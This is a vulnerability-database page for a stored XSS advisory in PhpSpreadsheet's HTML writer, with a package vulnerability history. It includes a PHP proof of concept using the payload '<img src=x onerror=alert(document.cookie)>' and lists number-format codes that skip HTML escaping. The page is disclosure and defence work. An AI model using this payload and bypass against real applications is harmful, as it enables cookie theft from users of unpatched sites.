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Medium

PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

  • Disclosed: 28.04.2026
  • Updated: 11.10.2026 10:22

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

The Problem

In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():

php
if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}

When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.

Even a single trailing space in the format (@ ) is enough to bypass the escape.

Proof of Concept

php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');

The generated HTML contains:

html
<td>. <img src=x onerror=alert(document.cookie)></td>

The XSS payload is completely unescaped.

Tested Bypass Formats

Format Code Result Escaped?
General (default) Original value YES (safe)
. @ . + value NO (XSS!)
@ (trailing space) value + NO (XSS!)
x@ x + value NO (XSS!)

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

Impact

Any application that:

  1. Accepts uploaded XLSX files from users
  2. Converts them to HTML using PhpSpreadsheet's HTML writer
  3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.

Suggested Fix

Always apply htmlspecialchars() regardless of whether formatting changed the value:

php
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Or escape AFTER formatting, not conditionally based on equality.

Reporter

Keyvan Hardani

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpoffice/phpspreadsheet >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4

References

CVSS score 5.4/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
phpoffice/phpspreadsheet
Disclosed
28.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-hrmw-qprp-wgmc - CC BY 4.0

Vulnerability history: phpoffice/phpspreadsheet

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
11.2019 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 17
  • Medium 12

Disclosures per year

Severity:
  1. PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
    High · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
    High · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
    High · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. PHPSpreadsheet has a patch bypass for CVE-2026-34084
    Critical CVE-2026-45034 < 1.30.5 1.30.5
  5. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
    High · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
    High · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled
    Critical CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer this entry
    Medium · 5.4 CVE-2026-40296 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  9. PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser
    High CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  10. PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file
    High · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
    High · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class
    High · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
    High · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  14. XXE in PHPSpreadsheet's XLSX reader
    High · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. XmlScanner bypass leads to XXE
    High · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  16. PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
    High · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  17. PHPSpreadsheet Library < 2.3.0 - XXE Injection
    High · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  18. XXE in PHPSpreadsheet encoding is returned
    High · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  19. XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue
    High · 8.8 CVE-2019-12331 < 1.8.0 1.8.0
  20. XXE in PHPSpreadsheet due to encoding issue
    High · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

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